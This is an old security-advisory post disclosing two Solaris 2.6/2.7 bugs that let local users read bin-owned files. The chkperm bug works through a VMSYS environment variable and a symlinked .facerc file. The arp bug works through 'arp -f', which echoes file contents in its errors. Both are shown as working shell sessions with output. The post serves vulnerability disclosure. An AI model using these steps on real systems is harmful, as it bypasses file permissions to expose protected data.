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Solaris 2.x chkperm/arp vulnerabilities
From: btellier () USA NET (Brock Tellier)
Date: Tue, 30 Nov 1999 15:45:59 MST


Greetings,

OVERVIEW
/usr/vmsys/bin/chkperm and /usr/sbin/arp can be used to read bin-owned files.

BACKGROUND
All my testing was done on Solaris 2.7 and 2.6 SPARC edition.

DETAILS

Vuln #1 - chkperm
This one isn't nearly as interesting as the instant-shell variety.  Here's how
it works:

chkperm is suid/sgid bin as shown:
bash-2.02$ ls -la /usr/vmsys/bin/chkperm
-rwsr-sr-x   1 bin      bin        10080 Sep  1  1998 /usr/vmsys/bin/chkperm

/etc/bin is a bin/bin owned file mode 660 (thus shouldn't be readable by me)
as shown:
bash-2.02$ ls -la /etc/bin
-rw-rw----   1 bin      bin           45 Nov 15 16:44 /etc/bin

the exploit goes as follows:

bash-2.02$ export VMSYS=/usr/home/btellier
bash-2.02$ mkdir lib
bash-2.02$ chmod 777 lib
bash-2.02$ ln -s /etc/bin lib/.facerc
bash-2.02$ /usr/vmsys/bin/chkperm -l
seekret1
seekret2
seekret3
seekret4
seekr
bash-2.02$ 

As we can see, it cuts off the last line of five total for some reason.   The
meat of this exploit is the fact that chkperm allows you to supply the
directory it will write known file names with VMSYS, a big no-no.  I've not
been able to get chkperm to either a. change the permissions of an existing
bin-owned file or b. create a bin-owned file other than .facerc, though this
can be created anywhere on the filesystem via export VMSYS=/etc or some such
command.  

This exploit is sort-of a variation on the old chkperm exploit which allowed
.facerc to be linked to /usr/bin/.rhosts.  That particular problem was fixed,
but this one was left behind.

Vuln #2 - arp

Just as the first, you may read any bin owned files:
bash-2.02$ ls -la /etc/bin
-rw-rw----   1 bin      bin           45 Nov 15 16:44 /etc/bin
bash-2.02$ cat /etc/bin
cat: cannot open /etc/bin
bash-2.02$ /usr/sbin/arp -f /etc/bin
arp: bad line: seekret1

arp: bad line: seekret2

arp: bad line: seekret3

arp: bad line: seekret4

arp: bad line: seekret5

bash-2.02$ 

DISCUSSION
Now I, just as you probably are, am wondering how this slight bug might be
upgraded or combined to become more severe.  I can't think of any situation
where we have bin-owned files unreadable that contain sensitive information
(considering that we can't overwrite the files, or execute them or change the
modes, all we can do is read plaintext).  Maybe one of the bugtraq readers has
some old exploit lying around that required the reading of a bin owned file in
order to work.  Or something.

Brock Tellier
UNIX Systems Administrator
btellier () usa net

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